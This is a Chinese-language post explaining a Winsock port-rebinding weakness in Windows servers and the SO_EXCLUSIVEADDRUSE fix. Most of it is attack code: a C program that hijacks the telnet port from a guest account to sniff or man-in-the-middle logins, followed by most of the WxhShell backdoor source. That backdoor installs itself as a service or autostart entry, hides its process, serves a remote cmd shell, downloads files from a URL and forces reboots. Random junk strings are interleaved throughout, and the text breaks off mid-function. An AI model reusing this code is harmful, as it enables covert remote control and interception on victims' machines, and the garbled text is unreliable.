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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: oWC@w s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "huFA|` TG+VEL |T saddr.sin_family = AF_INET; Ndcg/d :X]itTrGs saddr.sin_addr.s_addr = htonl(INADDR_ANY); kMt 8/ E` bj"J' bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jhg;%+KB ?)1{)Erf8x 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GP:77)b5 R5 9S@MsuD 这意味着什么?意味着可以进行如下的攻击: 30.@g[~
By9*1H2R 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -QmO1U Q&eQQ6b^Ih 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M #=]
k cQ"~\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }C>{uXv _oUHJ~&, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 (Yis:%c\! /(BMG/Tb 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q~vDz]\G nC}6B).el 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !gv`FE9y X6mqi;+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qQsku;C?i 4@ML3d/ #include frT]5?{ #include S&\L-@ #include .b-f9qc= #include 2m35R& DWORD WINAPI ClientThread(LPVOID lpParam); g;8jK8Kh int main() }woo%N P { h}cy D7Wn WORD wVersionRequested; N0=ac5 DWORD ret; ?hWwj6i& WSADATA wsaData; 9=V:&.L BOOL val; HOE_S!N SOCKADDR_IN saddr; a8i]]1Blz SOCKADDR_IN scaddr; W034N[9 int err; /Ya_>+oo SOCKET s; NCk r /#! SOCKET sc; U]vYV int caddsize; z3K6%rb- HANDLE mt; .D:Z{|.1 DWORD tid; Z<SLc,]^ wVersionRequested = MAKEWORD( 2, 2 ); JA'h4AXk err = WSAStartup( wVersionRequested, &wsaData ); %JHGiCv| if ( err != 0 ) { )p~BQ~eip; printf("error!WSAStartup failed!\n"); ^*S)t.
" return -1; @g$Gti } N%"Y saddr.sin_family = AF_INET; }`v~I4i fbL\?S,w //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `^FGwx@ (jFGa2{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YH%'t=
<m saddr.sin_port = htons(23); D[mSmpjE6& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O Vko+X` { 8rMX9qTO@ printf("error!socket failed!\n"); I>[RqG return -1; !2'jrJGc
} -sjd&)~S[ val = TRUE; pm\x~3jHs //SO_REUSEADDR选项就是可以实现端口重绑定的 -"h;uDz|z if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !\"5rNy { MV\|e1B} printf("error!setsockopt failed!\n"); W'.s\e?gh return -1; %d>=+Ds[ } K!'AkTW+- //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C0
/g1;p( //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z6_N$Z.A //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G-He" 4& $ OV%Q3$15 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c=L2%XPP { Jnna$6G)B ret=GetLastError(); L\&<sy"H printf("error!bind failed!\n"); MwR0@S}* return -1; ?I[8' } .Y3pS/VI listen(s,2); z(fAnn
T? while(1) a e*Mf7 { z[cyA. caddsize = sizeof(scaddr); f~dd3m(' //接受连接请求 @Q^P{ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >9q&PEc if(sc!=INVALID_SOCKET) |iR T!
] { ;3kj2} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E2"q3_,, if(mt==NULL) fVt9X*xKS { t7m>A-I printf("Thread Creat Failed!\n"); 8}FzZ?DRy break; Bnb#{tL } u)V#S:9] } q&Gz ] CloseHandle(mt); 91q8k=p } /qx0TDB closesocket(s); 8 XICF WSACleanup(); $`wMX{ return 0; H~+ l7OhV } awOd_![c' DWORD WINAPI ClientThread(LPVOID lpParam) mFSw@CC { 0\:(ageY? SOCKET ss = (SOCKET)lpParam; H'LD}\K l SOCKET sc; j8fpj {hp unsigned char buf[4096]; 0MkSf* SOCKADDR_IN saddr; =Uj-^qcE long num; "v` DWORD val; z j/!In DWORD ret; ~5 *5 //如果是隐藏端口应用的话,可以在此处加一些判断 3q'&j,,^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 rc/nFl6# saddr.sin_family = AF_INET; 8:#rA*Y saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Pp|*J^U 4 saddr.sin_port = htons(23); ;Wl+zw if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *_KFW@bC: { CWNx4)ZGw printf("error!socket failed!\n"); Y;e,Gq` return -1; Nof3F/2 N& } }t;(VynV) val = 100; o.'g]Q<}UB if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g*F '[Z." { Q^q1ns;r ret = GetLastError(); ~",`,ZXQy return -1; :{ur{m5bX } 8Y_ol#\L if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vg>( Y, { U
R%4@ ret = GetLastError(); Z-U-N return -1; '2laTl]` } GN0`rEh if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A5H3%o(6k { #fL8Kq printf("error!socket connect failed!\n"); Cz W:L&t closesocket(sc); T<L^N+<,{N closesocket(ss); Pf_S[
sm return -1; E-{^E. w1 } Cxcr/9 while(1) l%`F&8K { bg3"W,bv% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ga^Zb^y //如果是嗅探内容的话,可以再此处进行内容分析和记录 8-lOB //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5 gv/Pq & num = recv(ss,buf,4096,0);
WJ
d%2pO] if(num>0) s-RQMK}H send(sc,buf,num,0); ~j#]tElb else if(num==0) :T._ba3| break; q-rB2 num = recv(sc,buf,4096,0); %rF?dvb;? if(num>0) {XWZ<OjG send(ss,buf,num,0); k~/>b~.c else if(num==0) RiTa \ break; }->.k/vc } A)~X, closesocket(ss); E%'~'[Q closesocket(sc); :mS# h@l return 0 ; 3"kdjOB } 9Li%KOY `iJhG^w9M fsEzpUY:{W ========================================================== h@@nR(<i eXkujjSw" 下边附上一个代码,,WXhSHELL (__yh^h:m JIFU;*PR1 ========================================================== #CnHf nD0}wiL{ #include "stdafx.h" I0'[!kBF| T /mI[*1xI #include <stdio.h> \(Pohw WWo #include <string.h> L3p` #include <windows.h> 78Aa|AJU #include <winsock2.h> s%!`kWVJ. #include <winsvc.h> 3GmeD/6 #include <urlmon.h> qU,c~C=Qf =L5GhA~ #pragma comment (lib, "Ws2_32.lib") +hRmO #pragma comment (lib, "urlmon.lib") #k$)i[aI-
X/;p-KX #define MAX_USER 100 // 最大客户端连接数 6AP~]e 8 #define BUF_SOCK 200 // sock buffer ?6k}ii!c #define KEY_BUFF 255 // 输入 buffer %"X-&1vV %+F"QI1~0 #define REBOOT 0 // 重启 ~fa(=.h #define SHUTDOWN 1 // 关机 N6T{ 4_D@ST% #define DEF_PORT 5000 // 监听端口 o%4Gd~ 5I,gBT|B #define REG_LEN 16 // 注册表键长度 z*a8sr #define SVC_LEN 80 // NT服务名长度 $v`afd y O Lc}_ // 从dll定义API Ka|eFprS typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jS!`2li?{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `' 153M] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s3 ;DG typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e* om3`[r[{ // wxhshell配置信息 }%-t+Tf, struct WSCFG { 9 Q!bt int ws_port; // 监听端口 @O}7XRJ_8 char ws_passstr[REG_LEN]; // 口令 9ktEm|F3 int ws_autoins; // 安装标记, 1=yes 0=no ;+I/ I9~ char ws_regname[REG_LEN]; // 注册表键名 <N(oDa U char ws_svcname[REG_LEN]; // 服务名 axk"^gps char ws_svcdisp[SVC_LEN]; // 服务显示名 n q19Q) char ws_svcdesc[SVC_LEN]; // 服务描述信息 %Td )0Lqp char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u0RS)&
int ws_downexe; // 下载执行标记, 1=yes 0=no %y<ejM char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" g2R@`./S char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CN2_bz DOQc"+ }; !>(RK"KWq] #u5~0,F // default Wxhshell configuration a1.|X i'/z struct WSCFG wscfg={DEF_PORT, 8CC/ BOe "xuhuanlingzhe", ,SScf98,j 1, u=&Bmn_ "Wxhshell", D%7kBfCb "Wxhshell", RkuuogZ "WxhShell Service", 9]>iSG^H "Wrsky Windows CmdShell Service", d"U(`E=H9 "Please Input Your Password: ", #g5^SR|qE 1, o\`>c:. " http://www.wrsky.com/wxhshell.exe", +zkm( "Wxhshell.exe" _0pO8o-x }; q+a.G2S {C^@Q"I // 消息定义模块 FZH\Q~IUV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Bd3~E bFL char *msg_ws_prompt="\n\r? for help\n\r#>"; xAwf49N~ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; *fO{ a char *msg_ws_ext="\n\rExit."; 6e25V4e?I char *msg_ws_end="\n\rQuit."; eV6o3u:9 char *msg_ws_boot="\n\rReboot..."; =3 +l char *msg_ws_poff="\n\rShutdown..."; p\bFdxv# char *msg_ws_down="\n\rSave to "; tVqmn X8<2L2: char *msg_ws_err="\n\rErr!"; n(lk
dw char *msg_ws_ok="\n\rOK!"; lM#A3/=K S='syq>Aok char ExeFile[MAX_PATH]; O {k:yVb int nUser = 0; ]Y.deVw3i HANDLE handles[MAX_USER]; pl V7+?G int OsIsNt; \;]kYO} m=b~i^@ SERVICE_STATUS serviceStatus; uO >x:*^8 SERVICE_STATUS_HANDLE hServiceStatusHandle; 0+b0< \m@Y WO?L // 函数声明 q9dLHi<1 int Install(void); l9/:FiJ_ int Uninstall(void); #
4|9Fj?? int DownloadFile(char *sURL, SOCKET wsh); ACV ek int Boot(int flag); ;t]|15]u void HideProc(void); ]=D5p_A( int GetOsVer(void); t]^_l$ int Wxhshell(SOCKET wsl); >Jm"2U}lZW void TalkWithClient(void *cs); 8,o17}NY, int CmdShell(SOCKET sock); MFg'YA2/ int StartFromService(void); IX?ZbtdX$` int StartWxhshell(LPSTR lpCmdLine); qi+&|80T. PMKb ]y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9b6!CNe! VOID WINAPI NTServiceHandler( DWORD fdwControl ); (G4'(6 Zj-BuE&@f // 数据结构和表定义 H2Eb\v`# SERVICE_TABLE_ENTRY DispatchTable[] = >$F:*lO { xaL#MIR"u" {wscfg.ws_svcname, NTServiceMain}, Dw |3Z {NULL, NULL} _2jw,WKr }; W3LP
~ Z~3u:[x"; // 自我安装 *`KrVu 6s int Install(void) e`sw*m5 { wO"GtVd char svExeFile[MAX_PATH];
q{X T HKEY key; VjTe4$ * strcpy(svExeFile,ExeFile); 3
Lje<KzL r] t )x* // 如果是win9x系统,修改注册表设为自启动 M}!A]@ if(!OsIsNt) { 5
R*lVUix if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a{_ KSg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A1Q
+0 RegCloseKey(key); e d;"bb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :l~E E! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y`b\;kd RegCloseKey(key); |mj#
0 return 0; lcig7% } Dq`~XS* } CT}' ")Bm } hNO)~rt else { Ofm5[q= @*_ZoO7{ // 如果是NT以上系统,安装为系统服务 8ath45G @ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nx;$dxx_Ws if (schSCManager!=0) (b|#n|~?YL { WW3
B SC_HANDLE schService = CreateService p!GZCf, ( 8&T,LNZoY schSCManager, ~@YQ,\Y wscfg.ws_svcname, tE:X,Lt[ wscfg.ws_svcdisp, BVAr&cu SERVICE_ALL_ACCESS, -,/3"}<^78 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qsvpW%?aE SERVICE_AUTO_START, OT+ Ee SERVICE_ERROR_NORMAL, i7f%^7! svExeFile, fqX~xp NULL, *')Q {8` NULL, o4'Wr NULL, (+x]##Q NULL, bqjr0A7{ NULL ,|iy1yg( ); jnDQ{D if (schService!=0) 3q CHh { n7+aM@G CloseServiceHandle(schService); A:c]1 CloseServiceHandle(schSCManager); ixzTJ]y u strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;ct)H*
y strcat(svExeFile,wscfg.ws_svcname); QmHwn)Ly if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7&px+155 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q!x`M4 RegCloseKey(key); /B=l,:TnJ return 0; v D&Kae< } lJ'trYaq7 } hU)'OKe CloseServiceHandle(schSCManager); 7g-$oO } \2Xx%SX } Y.9~Bo<<r !Z-9tYO return 1; enPLaiJ'|q } 94+/wzWvi W'V@ // 自我卸载 >"bnpYSe int Uninstall(void) -+' #*V { }
m6\C5 HKEY key; K@*rVor{ +Tp%5+E if(!OsIsNt) { a(5y>HF
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EFwL.'Fh RegDeleteValue(key,wscfg.ws_regname); W8x[3,gT RegCloseKey(key); v#-E~;CcC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @?Fx RegDeleteValue(key,wscfg.ws_regname); ^ePsIl1E RegCloseKey(key); aSTFcz" return 0; Ny B&uf } y]J3hKs } hMz&JJ&B } ) (+)Q'* else { }R`Irxv4 =Iy/cHK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Dw*Arc+3V if (schSCManager!=0) -}< d(c { :;q>31:h SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &q"'_4 if (schService!=0) KCl &H { hc6.#~i if(DeleteService(schService)!=0) { @Mzz2&(dU CloseServiceHandle(schService); ^J0zXe -d CloseServiceHandle(schSCManager); [\88@B=jXP return 0; w/O<.8+ } erXy>H[; CloseServiceHandle(schService); Esb?U|F4 } 9ptZVv=O CloseServiceHandle(schSCManager); )F
+nSV; } fWd~-U0M^ } L)1C'8). W\'Nv/L return 1; 1Jl{1;c } @uoT{E[ HRj7n<>L= // 从指定url下载文件 \Oz,Qzr| int DownloadFile(char *sURL, SOCKET wsh) m';#R9\Fz { EZ..^M3 HRESULT hr; iwB8I^ char seps[]= "/"; 0Y[*lM- char *token; ~Vwk:+): char *file; m;1'u;
char myURL[MAX_PATH]; 0GS{F8f~, char myFILE[MAX_PATH]; (LRNU)vD7$ BSOjyy1f strcpy(myURL,sURL); ]c5DOv& token=strtok(myURL,seps); B'<!k7Ewy while(token!=NULL) \y[Bu^tk { ^v
]UcnB0 file=token; `}[VwQ token=strtok(NULL,seps); ^=Q8]W_* } A S`2=w %A8Pkr<&E GetCurrentDirectory(MAX_PATH,myFILE); -QN1oK@\mE strcat(myFILE, "\\"); BXNI(7xi strcat(myFILE, file); :jBZK=3F> send(wsh,myFILE,strlen(myFILE),0); Q@7l"8#[t send(wsh,"...",3,0); 1]_?$)$T hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <"hb#Tn if(hr==S_OK) "3\oQvi. return 0; |
A3U@>6 else (W7;}g ysh return 1; i5.?g <.H eVZa6la" } .4H_Zt[2 f3/SO+Me} // 系统电源模块 &t~zD4u B int Boot(int flag) $K+4C0wX` { Sjw2 j#Q HANDLE hToken; 1RCXc>}/ TOKEN_PRIVILEGES tkp; lr-12-D%- 2T//%ys= if(OsIsNt) { AQB1gzE OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?@3#c LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /&*m1EN#o tkp.PrivilegeCount = 1; i/5y^
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g@<sU0B AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wEBtre7 if(flag==REBOOT) { zt-'SY if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c9\B[@-q return 0; `l+ >iM } \d `dV0X else { JX2mTQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AF6d#Klog return 0; 4kWg>F3 } ]|Ow_z8
O } N8,EI^W8Z else { X!,#'&p& if(flag==REBOOT) { x1 .3W j if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hq5NQi`
% return 0; }l,T~Pjb } }5fU7&jA;3 else { 0|.7Kz^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C<r(-qO{5 return 0; =@Q#dDnFu% } ,Adus M } ]jHgo](% ,:v.L}+Z return 1; &?KPu?9 } 4C l,Iw/; o}WB(WsG // win9x进程隐藏模块 I(z>)S'7r void HideProc(void) 9=Y,["br$_ { ^t\kLU \?bwm&6+r HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [ED!J~lg8 if ( hKernel != NULL ) WpXODkQL { 66I|0_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >&$ $(Bp ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mgJShn8] FreeLibrary(hKernel); B0-4ZT } ."~7 \E> t lAdOC5+JX return;
80{#bb } K)yCrEZ "WF(
6z# // 获取操作系统版本 >{O[t2& int GetOsVer(void) iifc;6 2 { a"`g"ZRx OSVERSIONINFO winfo; * \=2KIF' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4?9soc GetVersionEx(&winfo); xaGVu0q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xB?S#5G} return 1; ddUjs8VvJ else YWt"| return 0; PY^^^01P } %k/
k]:s Ck ~V5 // 客户端句柄模块 t]
n(5!L( int Wxhshell(SOCKET wsl) Y0/jH2 n { N oX_? SOCKET wsh;
|y{;|K struct sockaddr_in client; ~[d=s DWORD myID; '+o:,6 Fpj6Atk while(nUser<MAX_USER) pRQfx^On {
K^!e-Xi6 int nSize=sizeof(client); ,^MW)Gf< wsh=accept(wsl,(struct sockaddr *)&client,&nSize); naec"Kut if(wsh==INVALID_SOCKET) return 1; <.PPs:{8# >>oASo handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dD/29b( if(handles[nUser]==0) QOkE\ro closesocket(wsh); Z$OF|ZZQ else E3CiZ4=5 nUser++; "TBQNWZ } iF#}t(CrH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]wkSAi5z* '8r8
^g[ return 0; dO 1-c` } 88 tFB ()@.;R.Z // 关闭 socket {V]Qwz)1 void CloseIt(SOCKET wsh) ^7ea6G" { w8m8r`h closesocket(wsh); @e.OU(Bf nUser--; jV,(P$ 5; ExitThread(0); V e$5w}a4 } "oE^R?m D,}'E0 // 客户端请求句柄 $nGbT4sc void TalkWithClient(void *cs) Z,|1G6f@ { f_re"d 3u 5{R#h : SOCKET wsh=(SOCKET)cs; dI#8CO char pwd[SVC_LEN]; M5cOz|j/*R char cmd[KEY_BUFF]; `_ J^g&y~ char chr[1]; b2/N H1A int i,j;
:f?,]|]+- SQ~N X) while (nUser < MAX_USER) { a`EGx{q( :|n>H+Y if(wscfg.ws_passstr) { X%4uShM if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1c<CEq:?e% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 66^1&D" //ZeroMemory(pwd,KEY_BUFF); in=k:j,U0 i=0; )}k?r5g while(i<SVC_LEN) { c{m
;"ZCFS O]Ry3j // 设置超时 5O;a/q8" fd_set FdRead; uhC= struct timeval TimeOut; Ww'TCWk@ FD_ZERO(&FdRead); r?5@Etpg FD_SET(wsh,&FdRead); Uf7F8JZmM TimeOut.tv_sec=8; <\}Y@g8 TimeOut.tv_usec=0; fcE/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7U{b+=,wK if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i">z8?qF G!e}j
@@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u'$yYzBE pwd =chr[0]; m]-v IUpb if(chr[0]==0xd || chr[0]==0xa) { A/$KA'jX pwd=0; K+h9bI/Sf break; (2O} B.6 } CD8JY iJ i++; aiR|.opIb } uJIRk$ @ V7ooo! // 如果是非法用户,关闭 socket Z5*(W;; if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }GoOE=rhY } P[#WHbn qOcG|UgF send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _ pH6uuB send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A5.'h< (.quX@w"m while(1) { *&hXJJ[+ 7G>0,'XC
ZeroMemory(cmd,KEY_BUFF); `G ;Lz^ ArmL, // 自动支持客户端 telnet标准 R@7GCj j=0; JR a*;_ while(j<KEY_BUFF) { (}~eD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wCq)w=, cmd[j]=chr[0]; w371.84 if(chr[0]==0xa || chr[0]==0xd) { *xv/b= cmd[j]=0; XC$+ `? break; Y&05
*b" } ](9{}DHV j++; j quSR= } XY+aunLf
-X&!dV:= 4 // 下载文件 J++sTQ(!? if(strstr(cmd,"http://")) { "f&i 251 send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?) ,xZ1" if(DownloadFile(cmd,wsh)) St3(1mApl send(wsh,msg_ws_err,strlen(msg_ws_err),0); WkDn else j6R{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0IPhVG~# } t0asW5f else { 2LxVt@_R!% OuBMVn switch(cmd[0]) { eX
l%Qs#Y 2ucF(^ // 帮助 j3rv2W\ case '?': { -EkDG]my send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &Xl_sDvt break; z[lRb]:i[ } m|ERf 2- // 安装 soqNzdTB2 case 'i': { LHHDt<+B if(Install()) J%Z)# send(wsh,msg_ws_err,strlen(msg_ws_err),0); y`B!6p
5j else VI|DMx
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $p6Xa;j$ 9 break; 2p3u6\y } Pu%>j'A // 卸载 uDE91.pUkr case 'r': { Sj{rvW if(Uninstall()) @'<j!CqQ
o send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1[gjb(( else P{i8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <k-@R!K~JC break; U70@}5! } R8r[;u\iV // 显示 wxhshell 所在路径 H`6Jq?\ case 'p': { l LD)i J1 char svExeFile[MAX_PATH]; ,Y\4xg*` strcpy(svExeFile,"\n\r"); Zs$RKJ7 strcat(svExeFile,ExeFile); ^$Eiz. send(wsh,svExeFile,strlen(svExeFile),0); =iK6/ y` break; GaK_9Eg-2 } E]eqvT NH // 重启 %*Z2Gef?H case 'b': { 0Li'a{n 2 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;DgX"Uzm if(Boot(REBOOT)) 9CU6o:'fW send(wsh,msg_ws_err,strlen(msg_ws_err),0); )V$! else { }rMpp[ closesocket(wsh); dI0>m:RBz ExitThread(0); hA,rSq } XFf+efh break; 0[!gk]p } lRATrp#T // 关机 ^SSOh# case 'd': { CTbhwY(/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Tk#&Ux{ZJ if(Boot(SHUTDOWN)) 1-]x send(wsh,msg_ws_err,strlen(msg_ws_err),0); nhXp_Z9 else { H'h4@S closesocket(wsh); =3v
1]7X ExitThread(0); UVBw;V } W$MEbf%1 break; iQ}sp64 } U` nS` p // 获取shell |e-+xX|; case 's': { SSsQu^A CmdShell(wsh); :Ye#NPOI closesocket(wsh); d>"$^${ ExitThread(0); X @jYQ. break; K^qUlyv } \PMKmJX0O // 退出 @~U6=(+ case 'x': { ]Y:
W[p send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %K7EF_% CloseIt(wsh); v/00LR break; >RqT7n8h } y:[VRLo // 离开 I^\bS case 'q': { bb:|1D send(wsh,msg_ws_end,strlen(msg_ws_end),0); `J,~hK closesocket(wsh); ttq< )4 WSACleanup(); -^xKG'uth exit(1); J!fc)h break; =#")G1A } 19-yM`O } &Cpxo9- } ' /<b[ 4k2c mM$ // 提示信息 iN/!k.ybW} if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dpn&)?f } b=
ec?n #7 } "`gZy)E
X-r,>o: return; !#4HGjPI } kR~4O$riG mF:s-+ // shell模块句柄 ABe^]HlH int CmdShell(SOCKET sock) !2M[ { K2o0L5Lke STARTUPINFO si; -[7,ph ZeroMemory(&si,sizeof(si)); W!0 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )I-?zyL si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oS|~\,p" PROCESS_INFORMATION ProcessInfo; }~~^ZtJ\ char cmdline[]="cmd"; EC!Cv;' CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #\S$$gP return 0; Vh9s.=*P@ } e}yu<~v_ KY34 'Di // 自身启动模式 )Gp\_(9fc int StartFromService(void) lLFBop { {UC<I.5X typedef struct RTA=|q { z,x"vK( DWORD ExitStatus; OQ&D?2r DWORD PebBaseAddress; 0uJzff!| DWORD AffinityMask; DCzPm/#b DWORD BasePriority; lJY=*KB(6 ULONG UniqueProcessId; <RVtLTd/ ULONG InheritedFromUniqueProcessId; +rpd0s49 } PROCESS_BASIC_INFORMATION; (tLQX~Ur 12'(MAP PROCNTQSIP NtQueryInformationProcess; 8=o5;]Cg [QN7+#K, static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -R
\@W q@ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pV|?dQ ?BvI/H5d HANDLE hProcess; j!o3g;j PROCESS_BASIC_INFORMATION pbi; "LIii1]k 0THAI HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o9d$
